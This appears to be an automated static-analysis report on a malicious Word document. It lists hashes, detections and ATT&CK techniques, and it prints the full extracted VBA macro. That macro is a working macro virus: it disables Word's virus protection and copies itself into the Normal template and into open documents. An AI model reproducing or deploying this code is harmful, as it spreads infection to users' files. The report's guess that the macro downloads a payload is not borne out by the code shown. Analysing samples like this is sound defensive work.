Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b3d478da45fc6bd3…

MALICIOUS

Office (OLE)

177.5 KB Created: 2020-04-30 09:20:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 33bd63b93e352b4edf83c545a39913b6 SHA-1: cf2a3428d740e68801852fb58f5ad6f47df93cda SHA-256: b3d478da45fc6bd33e22bdf0044f01ca67fc0ad1523dab1692b08acdf7c5c604
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro. This macro is designed to overwrite itself with new code and execute it, likely to download and run a secondary payload. The heuristic 'OLE_VBA_DOCOPEN' and the presence of the 'Document_Open' subroutine strongly indicate this behavior. The macro appears to be obfuscated, but the intent to execute further malicious code is clear.

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.wps.cn/officeDocument/2013/wpsCustomData In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1159 bytes
SHA-256: 536c81ba9cbe22fabf4d0071ed99055579215032d924944695f152728cba3932
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TYEntity1, 0, 0, ZYCTYPLUSLib, TYEntity"
Attribute VB_Control = "TYEntity2, 1, 1, ZYCTYPLUSLib, TYEntity"
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub

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